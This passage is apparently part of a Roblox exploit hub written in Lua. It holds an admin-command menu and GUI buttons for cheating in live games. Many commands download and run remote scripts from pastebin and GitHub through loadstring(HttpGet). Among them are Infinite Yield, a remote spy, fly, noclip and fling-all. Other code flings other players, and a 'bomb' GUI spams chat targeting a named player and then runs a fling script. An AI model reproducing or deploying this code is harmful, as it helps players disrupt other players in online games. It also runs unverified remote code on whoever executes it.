		ADD_COMMAND('uafollow','uafollow / unanchoredfollow',{},
		function()
			local LocalPlayer = game:GetService("Players").LocalPlayer
			local unanchoredparts = {}
			local movers = {}
			for index, part in pairs(workspace:GetDescendants()) do
				if part:IsA("Part") and part.Anchored == false and part:IsDescendantOf(LocalPlayer.Character) == false then
					table.insert(unanchoredparts, part)
					part.Massless = true
					part.CanCollide = false
					if part:FindFirstChildOfClass("BodyPosition") ~= nil then
						part:FindFirstChildOfClass("BodyPosition"):Destroy()
					end
				end
			end
			for index, part in pairs(unanchoredparts) do
				local mover = Instance.new("BodyPosition", part)
				table.insert(movers, mover)
				mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
			end
			repeat
				for index, mover in pairs(movers) do
					mover.Position = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame:PointToWorldSpace(Vector3.new(0, 0, 5))
				end
				wait(0.5)
			until LocalPlayer.Character:FindFirstChild("Humanoid").Health <= 0
			for _, mover in pairs(movers) do
				mover:Destroy()
			end
		end)
	
		ADD_COMMAND('fov','fov',{},
		function(ARGS)
			game.Workspace.CurrentCamera.FieldOfView = tonumber(ARGS[1])
		end)
	
		ADD_COMMAND('uanograv','uanograv / unanchorednogravity',{},
		function()
			loadstring(game:HttpGet("https://pastebin.com/raw/MHdBcJQL", true))()
		end)
	
		ADD_COMMAND('bringua','bringua / bringunanchored',{},
		function()
			for _,v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") and v.Anchored==false then
					v.CFrame=game:GetService("Players").LocalPlayer.Character.Head.CFrame
				end
			end
		end)
	
		ADD_COMMAND('BlackHole','BlackHole',{},
		function()
			NOTIFY('Toggle = E', 0, 255, 0)
			wait()
			loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))()
		end)
	
		ADD_COMMAND('remotespy','remotespy',{},
		function()
			loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))()
		end)
	
		ADD_COMMAND('blockhats','blockhats',{},
		function()
			for _, hat in pairs(character:GetChildren()) do
				if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then
					local handle = hat.Handle
					if handle:FindFirstChildWhichIsA("SpecialMesh") then
						handle:FindFirstChildWhichIsA("SpecialMesh"):Destroy()
					end
				end
			end
		end)
	
		ADD_COMMAND('blocktools','blocktools',{},
		function()
			for _, tool in pairs(character:GetChildren()) do
				if tool:IsA("Tool") then
					for _, mesh in pairs(tool:GetDescendants()) do
						if mesh:IsA("DataModelMesh") then
							mesh:Destroy()
						end
					end
				end
			end
		end)
	
		ADD_COMMAND('toolfling','toolfling',{},
		function()
			local char = player.Character
			local hrp = char:FindFirstChild("HumanoidRootPart")
			local hum = char:FindFirstChildWhichIsA("Humanoid")
			local tors = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
			if char then
				local c = lib.connect("pfling", RunService.Stepped:Connect(function()
					for i, v in pairs(char:GetDescendants()) do
						if v:IsA("BasePart") then
							v.CanCollide = false
						end
					end
				end))
				tors.Anchored = true
				local tool = Instance.new("Tool", localPlayer.Backpack)
				local hat = char:FindFirstChildOfClass("Accessory")
				local hathandle = hat.Handle
	
				hathandle.Parent = tool
				hathandle.Massless = true
				tool.GripPos = Vector3.new(0, 9e99, 0)
				tool.Parent = localPlayer.Character
	
				repeat wait() until char:FindFirstChildOfClass("Tool") ~= nil
				tool.Grip = CFrame.new(Vector3.new(0, 0, 0))
				tors.Anchored = false
	
				repeat
					hrp.CFrame = hrp.CFrame
					wait()
				until not c.Connected
	
				hum:UnequipTools()
				hathandle.Parent = hat
				hathandle.Massless = false
				tool:Destroy()
			end
		end)
	
		ADD_COMMAND('hydroxide','hydroxide',{},
		function()
			local owner = "Upbolt"
			local branch = "revision"
	
			local function webImport(file)
				return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')()
			end
	
			webImport("init")
			webImport("ui/main")
		end)
	
		ADD_COMMAND('equiptools','equiptools',{},
		function()
			for _, tool in ipairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do
				if tool:IsA("Tool") then
					tool.Parent = game:GetService("Players").LocalPlayer.Character -- I didn't use Equip because the Equip function unequips any other tools in your character.
				end
			end
		end)
	
	
		ADD_COMMAND('oldroblox','oldroblox (Client)',{},
		function()
			for i,v in pairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") then
					local dec = Instance.new("Texture", v)
					dec.Texture = "rbxassetid://48715260"
					dec.Face = "Top"
					dec.StudsPerTileU = "1"
					dec.StudsPerTileV = "1"
					dec.Transparency = v.Transparency
					v.Material = "Plastic"
					local dec2 = Instance.new("Texture", v)
					dec2.Texture = "rbxassetid://20299774"
					dec2.Face = "Bottom"
					dec2.StudsPerTileU = "1"
					dec2.StudsPerTileV = "1"
					dec2.Transparency = v.Transparency
					v.Material = "Plastic"
				end
			end
			game.Lighting.ClockTime = 12
			game.Lighting.GlobalShadows = false
			game.Lighting.Outlines = false
			for i,v in pairs(game.Lighting:GetDescendants()) do
				if v:IsA("Sky") then
					v:Destroy()
				end
			end
			local sky = Instance.new("Sky", game.Lighting)
			sky.SkyboxBk = "rbxassetid://161781263"
			sky.SkyboxDn = "rbxassetid://161781258"
			sky.SkyboxFt = "rbxassetid://161781261"
			sky.SkyboxLf = "rbxassetid://161781267"
			sky.SkyboxRt = "rbxassetid://161781268"
			sky.SkyboxUp = "rbxassetid://161781260"
		end)
	
		ADD_COMMAND('flingall','flingall (needs collisions enabled)',{},
		function()
			loadstring(game:HttpGet('https://pastebin.com/raw/zqyDSUWX'))()
		end)
	
		ADD_COMMAND('ws', 'ws (walkspeed)', {},
		function(ARGS, SPEAKER)
			local newWalkSpeed = tonumber(ARGS[1])
	
			if not newWalkSpeed or newWalkSpeed < 0 or newWalkSpeed > 100 then
				return
			end
	
			local PCHAR = SPEAKER.Character
			if PCHAR and PCHAR:FindFirstChild('Humanoid') then
				PCHAR.Humanoid.WalkSpeed = newWalkSpeed
			end
		end)
	
	
	
		ADD_COMMAND('goto','goto [plr]',{},
		function(ARGS, SPEAKER)
			local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
			for i,v in pairs(PLAYERS) do
				local PCHAR = gPlayers[v].Character
				if PCHAR then
					SPEAKER.Character.HumanoidRootPart.CFrame = PCHAR.HumanoidRootPart.CFrame
				end
			end
		end)
	
		ADD_COMMAND('enableinv','enableinv',{},
		function()
			game.StarterGui:SetCoreGuiEnabled(2, true)
		end)
	
		ADD_COMMAND('time','time [int] (Client)',{},
		function(ARGS, SPEAKER)
			gLighting:SetMinutesAfterMidnight(tonumber(ARGS[1]) * 60)
		end)
	
		ADD_COMMAND('view','view [plr]',{},
		function(ARGS, SPEAKER)
			local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
			for i,v in pairs(PLAYERS) do
				local PCHAR = gPlayers[v].Character
				gWorkspace.CurrentCamera.CameraSubject = PCHAR
			end
		end)
	
		ADD_COMMAND('unview','unview',{},
		function()
			gWorkspace.CurrentCamera.CameraSubject = gPlayers.LocalPlayer.Character
		end)
	
		local DISCO = false
	
		ADD_COMMAND('disco','disco (Client)',{},
		function(ARGS, SPEAKER)
			DISCO = true
			spawn(function()
				repeat wait(0.5) gLighting.Ambient = Color3.new(math.random(), math.random(), math.random()) until not DISCO
			end)
		end)
	
		ADD_COMMAND('undisco','undisco (Client)',{},
		function(ARGS, SPEAKER)
			DISCO = false
		end)
	
		ADD_COMMAND('age','age [plr]',{},
		function(ARGS, SPEAKER)
			local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
			for i,v in pairs(PLAYERS) do
				NOTIFY(gPlayers[v].Name .. ' | ' .. gPlayers[v].AccountAge, 255, 255, 255)
			end
		end)
	
		ADD_COMMAND('day','day (Client)',{},
		function(ARGS, SPEAKER)
			gLighting.TimeOfDay = 14
		end)
	
		ADD_COMMAND('night','night (Client)',{},
		function(ARGS, SPEAKER)
			gLighting.TimeOfDay = 24
		end)
	
	
		ADD_COMMAND('noclip','noclip',{},
		function()
			loadstring(game:HttpGet("https://pastebin.com/raw/h3T4t3xs", true))()
		end)
	
		ADD_COMMAND('BallRoll','BallRoll',{},
		function()
			loadstring(game:HttpGet("https://pastebin.com/raw/A4DwbGzs", true))()
		end)
	
		ADD_COMMAND('f3xtroll','f3xtroll',{},
		function()
			loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Scripts/main/f3xtrollhub", true))()
		end)
	
		ADD_COMMAND('f3x','f3x',{},
		function()
			loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
		end)
	
		ADD_COMMAND('clip','clip',{},
		function()
			NOCLIP = false
		end)
	
		ADD_COMMAND('fly','fly',{},
		function()
			NOTIFY('Toggle = z', 0, 255, 0)
			wait()
			loadstring(game:HttpGet("https://pastebin.com/raw/pv6YpV5D"))();
		end)
	
		ADD_COMMAND('prefix','prefix [string]',{},
		function(ARGS, SPEAKER)
			if ARGS[1] then
				C_PREFIX = ARGS[1]
				NOTIFY('Changed prefix to \'' .. ARGS[1] .. '\'', 255, 255, 255)
			end
		end)
	
		ADD_COMMAND('version','version',{},
		function(ARGS, SPEAKER)
			NOTIFY('VERSION | ' .. VERSION, 255, 255, 255)
		end)
	
		ADD_COMMAND('fe','fe',{},
		function(ARGS, SPEAKER)
			spawn(function()
				CHECK_FE()
			end)
		end)
	
		ADD_COMMAND('changelog','changelog',{},
		function(ARGS, SPEAKER)
			CHECK_CHANGELOG()
		end)
	
		ADD_COMMAND('serverinfo','serverinfo',{'sinfo'},
		function(ARGS, SPEAKER)
			SERVER_INFO()
		end)
	
		ADD_COMMAND('cmds','cmds',{'commands'},
		function(ARGS, SPEAKER)
			LIST_COMMANDS()
		end)
	
	--[[
	for i,v in pairs(COMMANDS) do
	   print (v.D)
	end]]
	
		-- / noclip
	
		MOUSE.KeyDown:connect(function(key)
			if key:byte() == 29 then
				if not NOCLIP then
					ECOMMAND('noclip')
				elseif NOCLIP then
					ECOMMAND('clip')
				end
			elseif key:byte() == 30 then
				if not JESUSFLY then
					ECOMMAND('jesusfly')
				elseif JESUSFLY then
					ECOMMAND('nojfly')
				end
			end
		end)
	
		-- / after loaded
	
		function CHECK_FE() 
			if not gWorkspace.FilteringEnabled then
				NOTIFY('Filtering is Disabled', 0, 255, 0)
			else
				NOTIFY('Filtering is Enabled', 255, 0, 0)
			end
		end
	
	
		function UPDATE_CMDS(SEARCH_CMD)
			local FOUND_CMDS = DATA.found_cmds
			if gCoreGui:FindFirstChild('cmds_seth') then
				local cmds_seth = gCoreGui.cmds_seth
				for i,v in pairs(cmds_seth.MAIN.CMDs:GetChildren()) do
					v:destroy()
				end
				for i,v in pairs(FOUND_CMDS:GetChildren()) do
					v:destroy()
				end
				wait()
				for i,v in pairs(COMMANDS) do
					if string.match(v.D, string.lower(SEARCH_CMD)) then
						local F = Instance.new('StringValue', FOUND_CMDS) F.Name = '' F.Value = v.D
					end
				end
				wait()
				local YSize = 25
				for i,v in pairs(FOUND_CMDS:GetChildren()) do
					local POS = ((i * YSize) - YSize)
					local cloneEX = cmds_seth.MAIN.Example:Clone()
					cloneEX.Parent = cmds_seth.MAIN.CMDs
					cloneEX.Visible = true
					cloneEX.Position = UDim2.new(0, 5, 0, POS + 5)
					cloneEX.Text = ' - ' .. v.Value
					cmds_seth.MAIN.CMDs.CanvasSize = UDim2.new(0, 0, 0, POS + 30)
				end
			end
		end
	
		function LIST_COMMANDS()
			if gCoreGui:FindFirstChild('cmds_seth') then gCoreGui.cmds_seth:destroy() end
			local cloneCMDs = DATA.guis.cmds_seth:Clone()
			local searchCMDs = cloneCMDs.MAIN.Search
			cloneCMDs.MAIN.Header.Text = ' ' .. #COMMANDS .. ' commands'
			cloneCMDs.Parent = gCoreGui
			cloneCMDs.MAIN.Exit.MouseButton1Down:connect(function()
				cloneCMDs:destroy()
			end)
			cloneCMDs.MAIN.MM.MouseButton1Down:connect(function()
				if cloneCMDs.MAIN.CMDs.Visible then
					cloneCMDs.MAIN.CMDs.Visible = false
				elseif not cloneCMDs.MAIN.CMDs.Visible then
					cloneCMDs.MAIN.CMDs.Visible = true
				end
			end)
			local function DISPLAY_CMDS()
				for i,v in pairs(COMMANDS) do
					local YSize = 25
					local POS = ((i * YSize) - YSize)
					local cloneEX = cloneCMDs.MAIN.Example:Clone()
					cloneEX.Parent = cloneCMDs.MAIN.CMDs
					cloneEX.Visible = true
					cloneEX.Position = UDim2.new(0, 5, 0, POS + 5)
					cloneEX.Text = ' - ' .. v.D
					cloneCMDs.MAIN.CMDs.CanvasSize = UDim2.new(0, 0, 0, POS + 30)
				end
			end
			DISPLAY_CMDS()
			searchCMDs.FocusLost:connect(function()
				if searchCMDs.Text then
					UPDATE_CMDS(searchCMDs.Text)
					searchCMDs.Text = ' search commands'
				end
			end)
		end
	
		local CAN_CHECK = true
	
		function CHECK_CHANGELOG()
			spawn(function()
				if CAN_CHECK then
					CAN_CHECK = false
					local changelogClone = DATA.guis.changelog_seth:Clone()
					changelogClone.MAIN.changelog.Text = CHANGELOG
					changelogClone.Parent = gCoreGui
					wait()
					changelogClone.MAIN:TweenPosition(UDim2.new(1, -410, 1, -210), 'InOut', 'Quad', 0.5, false)
					wait(10)
					changelogClone.MAIN:TweenPosition(UDim2.new(1, -410, 1, 0), 'InOut', 'Quad', 0.5, false)
					wait(1)
					changelogClone:destroy()
					CAN_CHECK = true
				end
			end)
		end
	
		CHECK_CHANGELOG()
	
		CMDbar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true)
		CMDbar.Parent['']:TweenPosition(UDim2.new(0, 0, 1, -30), 'InOut', 'Quad', 0.5, true)
	
		CMDbar.FocusLost:connect(function(enterpressed)
			if enterpressed and CMDbar.Text ~= '' then
				pcall(function()
					ECOMMAND(CMDbar.Text, LP)
				end)
			end
			CMDbar:TweenPosition(UDim2.new(0, -200, 1, -50), 'InOut', 'Quad', 0.5, true)
		end)
	
		MOUSE.KeyDown:connect(function(Key)
			if Key:byte() == 59 then
				CMDbar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true)
				CMDbar:CaptureFocus()
			end
		end)
	
		LOAD_SETH()
	end)
end;
task.spawn(C_b);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_d()
local script = G2L["d"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))()
	end)
end;
task.spawn(C_d);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_f()
local script = G2L["f"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		local lp = game:GetService("Players").LocalPlayer
	
		local function gplr(String)
			local Found = {}
			local strl = String:lower()
			for i, v in pairs(game:GetService("Players"):GetPlayers()) do
				if strl == "all" then
					table.insert(Found, v)
				elseif strl == "others" and v.Name ~= lp.Name then
					table.insert(Found, v)
				elseif strl == "me" and v.Name == lp.Name then
					table.insert(Found, v)
				elseif v.Name:lower():sub(1, #String) == String:lower() then
					table.insert(Found, v)
				end
			end
			return Found
		end
	
		local function notif(str, dur)
			game:GetService("StarterGui"):SetCore("SendNotification", {
				Title = "bomb gui",
				Text = str,
				Icon = "rbxassetid://2005276185",
				Duration = dur or 3
			})
		end
	
		-- GUI creation
		local h = Instance.new("ScreenGui")
		local Main = Instance.new("ImageLabel")
		local Top = Instance.new("Frame")
		local Title = Instance.new("TextLabel")
		local TextBox = Instance.new("TextBox")
		local TextButton = Instance.new("TextButton")
	
		h.Name = "h"
		h.Parent = game:GetService("CoreGui")
		h.ResetOnSpawn = false
	
		Main.Name = "Main"
		Main.Parent = h
		Main.Active = true
		Main.Draggable = true
		Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		Main.BorderSizePixel = 0
		Main.Position = UDim2.new(0.174545452, 0, 0.459574461, 0)
		Main.Size = UDim2.new(0, 454, 0, 218)
		Main.Image = ""
	
		Top.Name = "Top"
		Top.Parent = Main
		Top.BackgroundColor3 = Color3.fromRGB(57, 57, 57)
		Top.BorderSizePixel = 0
		Top.Size = UDim2.new(0, 454, 0, 44)
	
		Title.Name = "Title"
		Title.Parent = Top
		Title.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
		Title.BorderSizePixel = 0
		Title.Position = UDim2.new(0, 0, 0.295454562, 0)
		Title.Size = UDim2.new(0, 454, 0, 30)
		Title.Font = Enum.Font.SourceSans
		Title.Text = "FE Bomb Gui (edited Yeet Gui)"
		Title.TextColor3 = Color3.fromRGB(255, 255, 255)
		Title.TextScaled = true
		Title.TextSize = 14.000
		Title.TextWrapped = true
	
		TextBox.Parent = Main
		TextBox.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
		TextBox.BorderSizePixel = 0
		TextBox.Position = UDim2.new(0.0704845786, 0, 0.270642221, 0)
		TextBox.Size = UDim2.new(0, 388, 0, 62)
		TextBox.Font = Enum.Font.SourceSans
		TextBox.PlaceholderText = "Who do I plant bomb on (can be shortened)"
		TextBox.Text = ""
		TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
		TextBox.TextScaled = true
		TextBox.TextSize = 14.000
		TextBox.TextWrapped = true
	
		TextButton.Parent = Main
		TextButton.BackgroundColor3 = Color3.fromRGB(49, 49, 49)
		TextButton.BorderSizePixel = 0
		TextButton.Position = UDim2.new(0.10352423, 0, 0.596330225, 0)
		TextButton.Size = UDim2.new(0, 359, 0, 50)
		TextButton.Font = Enum.Font.SourceSans
		TextButton.Text = "Plant"
		TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
		TextButton.TextScaled = true
		TextButton.TextSize = 14.000
		TextButton.TextWrapped = true
	
		local function triggerNuke(targetPlayer)
			if targetPlayer then
				game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("!!!A NUKE HAS BEEN PLACED ON "..targetPlayer.DisplayName.." KILLING THEM WILL GET EVERYONE DEAD!!!", "ALL")
	
				repeat
					task.wait()
				until targetPlayer.Character and targetPlayer.Character:FindFirstChildOfClass("Humanoid") and targetPlayer.Character:FindFirstChildOfClass("Humanoid").Health < 1
	
				game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(targetPlayer.DisplayName.." IS DEAD NUKE LAUNCHING!!!", "ALL")
				wait(1.5)
				game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 3", "ALL")
				wait(1.5)
				game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 2", "ALL")
				wait(1.5)
				game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LAUNCHING IN 1", "ALL")
				wait(3)
	
				loadstring(game:HttpGet("https://pastebin.com/raw/zqyDSUWX"))()
			else
				warn("Player not found, did you use their username?")
			end
		end
	
		TextButton.MouseButton1Click:Connect(function()
			local Targets = gplr(TextBox.Text)
			if #Targets > 0 then
				local Target = Targets[1]
				triggerNuke(Target)
			else
				notif("Player not found", 3)
			end
		end)
	
	end)
end;
task.spawn(C_f);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_11()
local script = G2L["11"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		loadstring(game:HttpGet("https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"))()
	end)
end;
task.spawn(C_11);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_13()
local script = G2L["13"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
	
		loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/fedoratoomutch/main/toomucth'))()
	end)
end;
task.spawn(C_13);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_15()
local script = G2L["15"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local Energize = Instance.new("ScreenGui")
		local MainFrame = Instance.new("Frame")
		local GuiBottomFrame = Instance.new("Frame")
		local Credits = Instance.new("TextLabel")
		local GuiTopFrame = Instance.new("Frame")
		local CloseGUI = Instance.new("TextButton")
		local Title = Instance.new("TextLabel")
		local CheckR = Instance.new("TextLabel")
		local ScrollingFrame = Instance.new("ScrollingFrame")
		local GlitchLevitate = Instance.new("TextButton")
		local FullSwing = Instance.new("TextButton")
		local MoonDance = Instance.new("TextButton")
		local FullPunch = Instance.new("TextButton")
		local FloorFaint = Instance.new("TextButton")
		local Crouch = Instance.new("TextButton")
		local SpinDance = Instance.new("TextButton")
		local JumpingJacks = Instance.new("TextButton")
		local ArmDetach = Instance.new("TextButton")
		local MegaInsane = Instance.new("TextButton")
		local WeirdMove = Instance.new("TextButton")
		local DinoWalk = Instance.new("TextButton")
		local FloorCrawl = Instance.new("TextButton")
		local Spinner = Instance.new("TextButton")
		local Faint = Instance.new("TextButton")
		local Levitate = Instance.new("TextButton")
		local LoopHead = Instance.new("TextButton")
		local HeadThrow = Instance.new("TextButton")
		local CloneIllusion = Instance.new("TextButton")
		local Dab = Instance.new("TextButton")
		local BarrelRoll = Instance.new("TextButton")
		local Insane = Instance.new("TextButton")
		local SwordSlam = Instance.new("TextButton")
		local MovingDance = Instance.new("TextButton")
		local ArmTurbine = Instance.new("TextButton")
		local SuperPunch = Instance.new("TextButton")
		local Scared = Instance.new("TextButton")
		local LoopSlam = Instance.new("TextButton")
		local HeroJump = Instance.new("TextButton")
		local SpinDance2 = Instance.new("TextButton")
		local SwordSlice = Instance.new("TextButton")
		local FloatingHead = Instance.new("TextButton")
		local InsaneArms = Instance.new("TextButton")
		local SuperFaint = Instance.new("TextButton")
		local FloatSit = Instance.new("TextButton")
		local BowDown = Instance.new("TextButton")
		local ScrollingFrameR15 = Instance.new("ScrollingFrame")
		local FloatSlash = Instance.new("TextButton")
		local ArmsOut = Instance.new("TextButton")
		local DownSlash = Instance.new("TextButton")
		local R15Spinner = Instance.new("TextButton")
		local WeirdZombie = Instance.new("TextButton")
		local CrazySlash = Instance.new("TextButton")
		local Pull = Instance.new("TextButton")
		local Open = Instance.new("TextButton")
		local CircleArm = Instance.new("TextButton")
		local Bend = Instance.new("TextButton")
		local RotateSlash = Instance.new("TextButton")
		local FlingArms = Instance.new("TextButton")
		local SideFrame = Instance.new("Frame")
		local OpenGUI = Instance.new("TextButton")
		local SideFrameTitle = Instance.new("TextLabel")
		--Properties:
		Energize.Name = "Energize"
		Energize.Parent = game.CoreGui
		Energize.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	
		MainFrame.Name = "MainFrame"
		MainFrame.Active = true
		MainFrame.Draggable = true
		MainFrame.Parent = Energize
		MainFrame.BackgroundColor3 = Color3.new(0.0313726, 0.0313726, 0.0313726)
		MainFrame.BackgroundTransparency = 0.15000000596046
		MainFrame.Position = UDim2.new(0.502199888, 0, 0.552243114, 0)
		MainFrame.Size = UDim2.new(0, 426, 0, 258)
	
		GuiBottomFrame.Name = "Gui BottomFrame"
		GuiBottomFrame.Parent = MainFrame
		GuiBottomFrame.BackgroundColor3 = Color3.new(1, 1, 1)
		GuiBottomFrame.BackgroundTransparency = 1
		GuiBottomFrame.Position = UDim2.new(0, 0, 0.901309371, 0)
		GuiBottomFrame.Size = UDim2.new(0, 426, 0, 25)
	
		Credits.Name = "Credits"
		Credits.Parent = GuiBottomFrame
		Credits.BackgroundColor3 = Color3.new(0, 0, 0)
		Credits.BackgroundTransparency = 1
		Credits.Size = UDim2.new(0, 426, 0, 25)
		Credits.Font = Enum.Font.SourceSansSemibold
		Credits.Text = "Subscribe to A2b scripts (the script is not mine)"
		Credits.TextColor3 = Color3.new(1, 1, 1)
		Credits.TextSize = 17
	
		GuiTopFrame.Name = "Gui TopFrame"
		GuiTopFrame.Parent = MainFrame
		GuiTopFrame.BackgroundColor3 = Color3.new(1, 1, 1)
		GuiTopFrame.BackgroundTransparency = 1
		GuiTopFrame.Position = UDim2.new(0, 0, -0.00178042857, 0)
		GuiTopFrame.Size = UDim2.new(0, 426, 0, 25)
	
		CloseGUI.Name = "CloseGUI"
		CloseGUI.Parent = GuiTopFrame
		CloseGUI.BackgroundColor3 = Color3.new(0, 0, 0)
		CloseGUI.BackgroundTransparency = 0.15000000596046
		CloseGUI.BorderSizePixel = 0
		CloseGUI.Position = UDim2.new(0.967136145, 0, 0, 0)
		CloseGUI.Size = UDim2.new(0, 15, 0, 15)
		CloseGUI.Font = Enum.Font.SourceSansSemibold
		CloseGUI.Text = "X"
		CloseGUI.TextColor3 = Color3.new(1, 1, 1)
		CloseGUI.TextSize = 14
	
		Title.Name = "Title"
		Title.Parent = GuiTopFrame
		Title.BackgroundColor3 = Color3.new(1, 1, 1)
		Title.BackgroundTransparency = 1
		Title.Position = UDim2.new(0.653472185, 0, 0, 0)
		Title.Size = UDim2.new(0, 105, 0, 25)
		Title.Font = Enum.Font.SourceSansSemibold
		Title.Text = "FE animations"
		Title.TextColor3 = Color3.new(1, 1, 1)
		Title.TextSize = 17
	
		CheckR.Name = "CheckR"
		CheckR.Parent = GuiTopFrame
		CheckR.BackgroundColor3 = Color3.new(1, 1, 1)
		CheckR.BackgroundTransparency = 1
		CheckR.Position = UDim2.new(0.0234741792, 0, 0, 0)
		CheckR.Size = UDim2.new(0, 194, 0, 24)
		CheckR.Font = Enum.Font.SourceSansSemibold
		CheckR.Text = "Text"
		CheckR.TextColor3 = Color3.new(1, 1, 1)
		CheckR.TextSize = 17
		CheckR.TextXAlignment = Enum.TextXAlignment.Left
	
		ScrollingFrame.Parent = MainFrame
		ScrollingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
		ScrollingFrame.BackgroundTransparency = 0.60000002384186
		ScrollingFrame.Position = UDim2.new(0, 0, 0.0951187983, 0)
		ScrollingFrame.Size = UDim2.new(0, 426, 0, 207)
		ScrollingFrame.CanvasSize = UDim2.new(0, 0, 1.29999995, 0)
		ScrollingFrame.ScrollBarThickness = 10
	
		GlitchLevitate.Name = "GlitchLevitate"
		GlitchLevitate.Parent = ScrollingFrame
		GlitchLevitate.BackgroundColor3 = Color3.new(0, 0, 0)
		GlitchLevitate.BackgroundTransparency = 0.30000001192093
		GlitchLevitate.Position = UDim2.new(0.0469483584, 0, 0.0273178034, 0)
		GlitchLevitate.Size = UDim2.new(0, 90, 0, 30)
		GlitchLevitate.Font = Enum.Font.SourceSansSemibold
		GlitchLevitate.Text = "Glitch Levitate"
		GlitchLevitate.TextColor3 = Color3.new(1, 1, 1)
		GlitchLevitate.TextSize = 15
	
		FullSwing.Name = "FullSwing"
		FullSwing.Parent = ScrollingFrame
		FullSwing.BackgroundColor3 = Color3.new(0, 0, 0)
		FullSwing.BackgroundTransparency = 0.30000001192093
		FullSwing.Position = UDim2.new(0.267605633, 0, 0.0273178034, 0)
		FullSwing.Size = UDim2.new(0, 90, 0, 30)
		FullSwing.Font = Enum.Font.SourceSansSemibold
		FullSwing.Text = "Full Swing"
		FullSwing.TextColor3 = Color3.new(1, 1, 1)
		FullSwing.TextSize = 15
	
		MoonDance.Name = "MoonDance"
		MoonDance.Parent = ScrollingFrame
		MoonDance.BackgroundColor3 = Color3.new(0, 0, 0)
		MoonDance.BackgroundTransparency = 0.30000001192093
		MoonDance.Position = UDim2.new(0.713614941, 0, 0.0273178034, 0)
		MoonDance.Size = UDim2.new(0, 90, 0, 30)
		MoonDance.Font = Enum.Font.SourceSansSemibold
		MoonDance.Text = "Moon Dance"
		MoonDance.TextColor3 = Color3.new(1, 1, 1)
		MoonDance.TextSize = 15
	
		FullPunch.Name = "FullPunch"
		FullPunch.Parent = ScrollingFrame
		FullPunch.BackgroundColor3 = Color3.new(0, 0, 0)
		FullPunch.BackgroundTransparency = 0.30000001192093
		FullPunch.Position = UDim2.new(0.492957741, 0, 0.0273178034, 0)
		FullPunch.Size = UDim2.new(0, 90, 0, 30)
		FullPunch.Font = Enum.Font.SourceSansSemibold
		FullPunch.Text = "Full Punch"
		FullPunch.TextColor3 = Color3.new(1, 1, 1)
		FullPunch.TextSize = 15
	
		FloorFaint.Name = "FloorFaint"
		FloorFaint.Parent = ScrollingFrame
		FloorFaint.BackgroundColor3 = Color3.new(0, 0, 0)
		FloorFaint.BackgroundTransparency = 0.30000001192093
		FloorFaint.Position = UDim2.new(0.0469483584, 0, 0.134652346, 0)
		FloorFaint.Size = UDim2.new(0, 90, 0, 30)
		FloorFaint.Font = Enum.Font.SourceSansSemibold
		FloorFaint.Text = "Floor Faint"
		FloorFaint.TextColor3 = Color3.new(1, 1, 1)
		FloorFaint.TextSize = 15
	
		Crouch.Name = "Crouch"
		Crouch.Parent = ScrollingFrame
		Crouch.BackgroundColor3 = Color3.new(0, 0, 0)
		Crouch.BackgroundTransparency = 0.30000001192093
		Crouch.Position = UDim2.new(0.267605633, 0, 0.134652346, 0)
		Crouch.Size = UDim2.new(0, 90, 0, 30)
		Crouch.Font = Enum.Font.SourceSansSemibold
		Crouch.Text = "Crouch"
		Crouch.TextColor3 = Color3.new(1, 1, 1)
		Crouch.TextSize = 15
	
		SpinDance.Name = "SpinDance"
		SpinDance.Parent = ScrollingFrame
		SpinDance.BackgroundColor3 = Color3.new(0, 0, 0)
		SpinDance.BackgroundTransparency = 0.30000001192093
		SpinDance.Position = UDim2.new(0.713614941, 0, 0.134652346, 0)
